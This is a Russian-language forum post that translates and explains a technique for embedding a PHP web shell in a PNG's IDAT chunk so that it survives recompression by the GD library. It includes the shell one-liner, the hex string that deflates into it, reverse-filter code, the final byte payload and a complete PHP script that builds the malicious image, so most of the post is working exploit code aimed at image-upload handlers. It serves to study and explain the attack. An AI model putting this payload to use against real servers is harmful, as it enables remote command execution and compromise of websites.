[перевод] Bulletproof PNG

Discussion in 'Кухня' started by Franky_T, 11 Mar 2019.

  1. Franky_T

    Franky_T Level 8

    Joined:
    6 Nov 2018
    Messages:
    21
    Likes Received:
    66
    Reputations:
    58
    В продолжение предыдущего треда в этом разделе, приведу частичный перевод и разбор подробностей статьи о том, как генерируются PNG файлы с нагрузкой. Сама статья доступна здесь:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/,
    ссылка на нее однажды мелькала в одном из тредов на RDot. Речь все также идет о пробросе PHP-нагрузки посредством изображения в условиях, когда на стороне сервера изображение может быть пережато библиотекой GD при сохранении. Статья, вероятно, не представляет слишком большого практического интереса, но а) завершает тему и б) кому-то может быть интересно посмотреть на устройство изображений изнутри. Туда и XSS пэйлоад вставить можно :)

    Предварительно пара слов о том, почему для PNG это уже не так просто, как для JPEG. За хранение пикселей в этом формате отвечает сегмент (чанк в терминологии PNG) IDAT. Именно в него будет сохраняться нагрузка. При сохранении изображения в этом формате каждая строка предварительно фильтруется одним из пяти фильтров (http://www.libpng.org/pub/png/spec/1.2/PNG-Filters.html
    ), а тип использованного фильтра записывается в ее начале (от 0x01 до 0x05), причем фильтр выбирается, исходя из соображений оптимальности, то есть разные строки могут проходить через разные фильтры. После фильтрации все строки сжимаются алгоритмом DEFLATE, в результате чего и формируется сегмент IDAT.
    Получается, для того, чтобы сохранить веб-шелл в картинке, нужно преодолеть оба этих преобразования: и фильтрацию, и DEFLATE. Начинаем с конца, т.к. DEFLATE применяется последним.

    Шаг 1. Сжатие.
    Необходимо придумать строку, в результате сжатия которой получится нужный нам текст веб-шелла. Нам нужно, чтобы эта строка не содержала цепочек символов длины больше двух, которые бы повторялись. Иначе они будут подвержены сжатию. Чем строка короче, тем вероятность наличия совпадающих подстрок меньше, поэтому постараемся сохранить строку короткой. Например, такой:
    Code:
    <?=`$_GET[0]`;?>
    
    (для тех, кто такую конструкцию не видел, или видел, но забыл: <?=$a;?> в php то же самое, что и <?php echo $a; ?> )

    Мы ищем строчку, которая после сжатия даст нужную нам. Для этого вспомним, как отрабатывает DEFLATE. Сперва он ищет в строках повторения, а потом использует алгоритм Хаффмана для того, чтобы произвести непосредственно сжатие с точки зрения частоты встречающихся символов. И все бы ничего, но эта конкретная строчка оказывается неподходящей: алгоритм устроен таким образом, что ни при каком раскладе в сжатой строке не может оказаться конфигурации, где подряд идут символы "=`".

    Автор статьи предлагает другую строчку:
    Code:
    <?=$_GET[0]($_POST[1]);?>
    
    С ней не возникает таких проблем, как с предыдущей. В этом случае при выполнении кода нужно в качестве параметра GET запроса передать наименование функции, которую хотим выполнить, например, shell_exec, а в качестве параметра POST - саму команду, которую хотим в эту функцию передать.

    Строчка, которая, будучи сжатой, дает нужный нам текст, оказалась еще и очень удобной: ее первый байт может варьироваться в диапазоне от 0x00 до 0x04. Это сыграет хорошую роль в следующих наших шагах при обходе фильтров формата PNG.

    Code:
    03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310
    
    Убедиться в том, что она действительно подходит, можно легко:

    Code:
    php > $a = gzdeflate(pack("H*", 'a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310'));
    php > echo $a;
    [<?=$_GET[0]($_POST[1]);?>X
    
    Но, к сожалению, просто запихнуть эту строку в чанк IDAT будет недостаточно, поскольку перед тем, как применять DEFLATE, PNG сперва обрабатывает строки фильтрами.

    Шаг 2. Фильтры.
    В PNG используется пять разных типов фильтров. Для каждой строки во внутреннем представлении картинки может использоваться разный фильтр. Цель фильтра - подготовить картинку так, чтобы она сжималась наилучшим образом. Наша задача теперь в том, чтобы создать строчку, которая, даже проходя через фильтры, даст в результате строку из первого пункта.

    Сгенерированная картинка будет содержать нагрузку только в одной строке, вся остальная информация, связанная непосредственно с картинкой, будет соответствовать просто набору черных пикселей, то есть все строки, кроме первой, будут одинаковыми и будут содержать константу, соответствующую черному цвету. Поскольку отличной от черного будет только одна строка, алгоритм будет выбирать для нее либо фильтр с номером 1, либо фильтр с номером три. Эти два фильтра для сжатия ориентируются на байты в рамках строки, в то время как другие - на соседей в строках выше или ниже. С подробностями работы фильтров можно ознакомиться в спецификации формата PNG. В рамках задачи фильтры легко оборачиваются:

    Code:
    // Reverse Filter 1
    for ($i = 0; $i < $s; $i++)
       $p[$i+3] = ($p[$i+3] + $p[$i]) % 256;
    // Reverse Filter 3
    for ($i = 0; $i < $s; $i++)
       $p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;
    
    Чтобы обойти случайность в выборе фильтра, который будет использован алгоритмом, автор предлагает сделать следующее. Прогоним нужную нам строчку через функцию, обратную фильтру 3, прогоним ее же через функцию, обратную к фильтру 1, а затем конкатенируем две полученных строки. Именно результат этой процедуры пойдет в чанк IDAT. Выглядит он следующим образом (||| вставлены, чтобы визуально разделить конкатенированные строки):
    Code:
    0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc ||| 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33
    
    Шаг 3. Построение изображения.
    При построении RAW версии картинки важно иметь ввиду, что построенный выше пэйлоад рассчитан на небольшие изображения, около 40х40 пикселей (мы будем генерировать изображение 32 на 32). Важно также не забыть, что пэйлоад должен расположиться в самой первой строке изображения. Код получится следующий:
    Code:
    <?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
               0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
               0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
               0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
               0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
               0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
               0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
               0x66, 0x44, 0x50, 0x33);
    
    $img = imagecreatetruecolor(32, 32);
    
    for ($y = 0; $y < sizeof($p); $y += 3) {
       $r = $p[$y];
       $g = $p[$y+1];
       $b = $p[$y+2];
       $color = imagecolorallocate($img, $r, $g, $b);
       imagesetpixel($img, round($y / 3), 0, $color);
    }
    
    imagepng($img, 'result.png'); ?>
    
    В результате построения картинки, получится вот такая полоса в левом верхнем углу изображения:
    [​IMG]

    А в хекс-редакторе будет видна нагрузка:

    [​IMG]

    Пара ссылок на другие исследования по теме:
    Нагрузка в GIF: https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif
    Сама статья на RDot, где была ссылка на эту: https://rdot.org/forum/showthread.php?t=1264&page=2&langid=1
     
    #1 Franky_T, 11 Mar 2019
    Last edited: 15 Mar 2019
    fandor9, l1ght, grimnir and 5 others like this.